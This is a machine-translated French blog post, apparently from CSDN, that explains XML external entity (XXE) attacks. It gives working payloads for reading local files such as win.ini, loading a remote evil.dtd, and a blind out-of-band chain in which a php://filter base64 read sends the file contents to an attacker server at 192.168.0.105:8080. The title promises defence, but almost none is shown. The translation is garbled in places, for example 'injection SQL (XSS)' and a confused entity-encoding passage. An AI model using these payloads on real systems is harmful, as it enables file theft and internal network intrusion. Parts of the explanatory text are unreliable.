Test d'attaque et de défense vulnérabilité-vulnérabilité par injection d'entité externe XXE

Test d'attaque et de défense contre la vulnérabilité

Présentation

En utilisant la vulnérabilité xxe, une attaque par déni de service (insérer une attaque DOS), la lecture de fichiers, l'exécution de commandes (code) (besoin de compiler et d'installer PHP, le module d'exécution des commandes est également installé), l'injection SQL (XSS), les ports de scan internes et externes ( Vulnérabilité d'inclusion à distance), intrusion dans des sites intranet, etc. La détection et l'intrusion intranet utilisent les protocoles pris en charge dans xxe pour la détection d'hôte et de port intranet. Il peut être entendu que xxe est utilisé pour l'utilisation SSRF, tout peut être fait

En général, l'utilisation de xxe est divisée en deux scénarios principaux : avec écho et sans écho. S'il y a un écho, vous pouvez voir le résultat de l'exécution ou le phénomène de charge utile directement sur la page. S'il n'y a pas d'écho, il est également appelé aveugle xxe. Vous pouvez utiliser le canal de données externe pour extraire les données.

Il y a un écho

		<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
			外部 evil.dtd 中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

Pas d'écho

Vous pouvez utiliser le canal de données externe pour extraire les données, utilisez d'abord le filtre php: // pour obtenir le contenu du fichier cible, puis envoyez le contenu au serveur de réception des données (serveur d'attaque VPS) xxx.xxx.xxx

<!DOCTYPE convert [<!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>

En cas d'erreur, vous pouvez afficher directement les informations sur l'erreur. Si vous
ne signalez pas d'erreur, vous devez accéder aux informations du journal sur le serveur qui reçoit les données. Vous pouvez voir les données encodées par base64. Après le décodage, vous pouvez obtenir les données.
Nous voyons clairement que le serveur a reçu les informations de fichier sensibles que nous avons encodées avec base64 (l'encodage
ne doit pas non plus détruire la syntaxe XML d'origine), sans l'encodage signalera une erreur

L'ensemble du processus d'appel

Nous pouvons voir de la charge utile dans les appels successifs à trois entités de paramètre à distance%;% int;% l'envoi , c'est notre utilisation de l'ordre,% appel à distance d' abord, la test.dtd de demande d'appel sur un serveur distant, un peu similaire Incluez test.dtd, puis% int appelle le fichier% dans test.dtd, le fichier% récupérera le fichier sensible sur le serveur, puis remplira le résultat du fichier% dans% send (car la valeur de l'entité ne peut pas être Il y a%, donc il est converti en entité HTML encodant%), nous appelons ensuite% send; Envoyez nos données lues à nos vps distants, afin que l'effet des données hors bande soit atteint, ce qui est parfaitement résolu XXE Il n'y a pas de problème d'écho.
Pour le contenu de test.dtd, le numéro interne% doit être physiquement encodé en & # 37 (Remarque: pour l'encodage, veuillez vous référer à: http://www.mamicode.com/info-detail-1680849.html)

	 <!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM'http://192.168.0.105:8080?p=%file;'>">
Publié 117 articles originaux · loué 11 · visites 6464

Je suppose que tu aimes

Origine blog.csdn.net/weixin_43079958/article/details/105476599
conseillé
Classement